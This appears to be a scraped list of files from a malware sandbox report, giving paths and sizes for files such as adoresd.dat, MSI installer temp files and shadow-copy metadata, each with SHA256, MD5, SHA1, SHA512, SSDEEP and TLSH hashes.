- SHA256 c391f293f681f58c0be2a3e3c9c00b049c7ab4a0bddd777ad6efc2e04ebbe41e
- MD5 4acdc38b0fc4432638329afe9ac94165
- SHA1 c3b3d27d31c7c0f7228e5884e289ac7648ec4f14
- SHA512 5e8cc67b70988766688f45f1aab7984b859aca34d33a417f509dd18e94f01691ee28053178fd7f4141dde6b0df740acff40d582cf943a388aa4ee3c66c239078
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+g:P9m29xx3Tiqt06ox6+z2rNNrKog
- TLSH T1E2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nR0yzj\adoresd.dat
- Size 4.8MB
- SHA256 490020ecc1d51bbf9cb268ce1887e95f3235d04dd0194a12e1b0dc3a4e63d4e6
- MD5 a371ef931593e38e055d42a1e3d3fb62
- SHA1 11573fef345234edaeec5a668d6dde382c61bf1a
- SHA512 0284f993a3499b9171a79a13f6f01a1259834ff124f9c20b5a1c34dc9e0b9db0da32e926df0d37c2d7d3e589f95dc686f649d81ff9693918ec2dbc503ef880e1
- SSDEEP 98304:EuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:ZQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T1A2363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nR0yzj\msadox.tb
- Size 8KB
- SHA256 1fec09576ac32464a5d0a9eb7b30450e47a0a9b8a652b57f688747eca61e3fbc
- MD5 96eba7badcd0b513e48577515c2c5660
- SHA1 179f17a685d805e549b3b71be861dccd1f42f2fc
- SHA512 a8101f78275a87773c1e743244fe2614da61031028e335754a30cfc0272af040416749f7c7be3c694b95db820edef2748074f8eeb070017009ef2f2184e3819b
- SSDEEP 192:VqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:VsZqZOXQ3uqvR2Kfzp
- TLSH T167029E05D7A20DC3D3016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8E1E.tmp
- Size 7.6MB
- SHA256 9b8835ea6895d8dc16ac076f5013b8851c1e49f4290713ecd97e5f01acec4f81
- MD5 dbf189d7b000365e5f6b18c29e07e898
- SHA1 132b244aac1cccca861e2a84faa1ec466a62e846
- SHA512 a2caf62b5d1046d2da0c0b2fbdf443405fe9ba49e43f561573dd79bbc971b5d4927f45177c380c8841f45101165f76f4b357bc687151a523db04a46ab5a1e2f1
- SSDEEP 196608:XvA8KuUBIeMpGZt46NuHbhCpJRWt4zEAYsHCPefrEK:XPKfBIe9y66SJ4CYmzrl
- TLSH T1638633C878CEA2B4D1E3C77546C3345E3D3937D276AA8F1ABD5526002D6223B6739389
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59864d.msi
- Size 7.7MB
- SHA256 48e5f3a7e00804cc54864bace27377fbe1dbcf462c1b2c44c9d78fc4d5ab9358
- MD5 c2b71df1e7fe14521c46d8944a71ab97
- SHA1 68d8c1767c865aba54e9016d99dabe893a27537f
- SHA512 00fd80bc6aa6dd244f64e24f413fcb7633284ec47dd8d43af0e844401332cc3fb7e1d3f30d0064bff1b6777893f189cf2e522fd05579537760a7cd4d6da331f9
- SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEl:yPKfBIe9y66qJ4CYmzrK
- TLSH T1798633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 c2c29b971c9e27712f18fed4fd78d4e52ef891f9b6cdcc0a94fec24f65123299
- MD5 afdb1d50b9ccf9f8ed7f12346566c8cf
- SHA1 544b46649bf02e33e4c11b4044b904fc12a25ce3
- SHA512 026ca8edbc1dd4f0e58c493f2dba86e8c34ea1f786c2dcded353580d7d5e77a064a2f89300e64ad34dc32a553e2da45cd618fd29ae4de478166197dbcd571b7e
- SSDEEP 24576:pFo3DMPKdoO/vvTL/SwyiCFAvre45LFB0vkwN/8qUn8aZ1jS8Ih2ibYDGu0:OHA
- TLSH T17C57B42436F92100EBF7AE3CA8F06A274D397D57AC16DE8D45511B4D0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{097fbc71-8b3f-48c0-a736-7c1b6ba7bea1}_OnDiskSnapshotProp
- Size 6KB
- SHA256 5cf1dba8fe180b440555d5d1dab97a19e2f845de88e483673f5a95e79b538e3a
- MD5 13e86ce3db490ddda987090f2209b6ce
- SHA1 8a50b6139db719df8af35b062abe73c4db4688e7
- SHA512 357610117b55a1708ae4e35a6dd5e1ea184c9e8ee5e05bb7735d9e64d2926257f4898f472f71f798ef3edc2ebfce12e06f2d2da84d7682538ba2ac87ede780bf
- SSDEEP 96:FSXlwvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:0Kb++uVm
- TLSH T191D188085AF54711E2B3AB312DF14557A837B911EF33CB8E0198238E6631A10F976F6B
- MD5 SHA1 SHA512 SSDEEP TLSH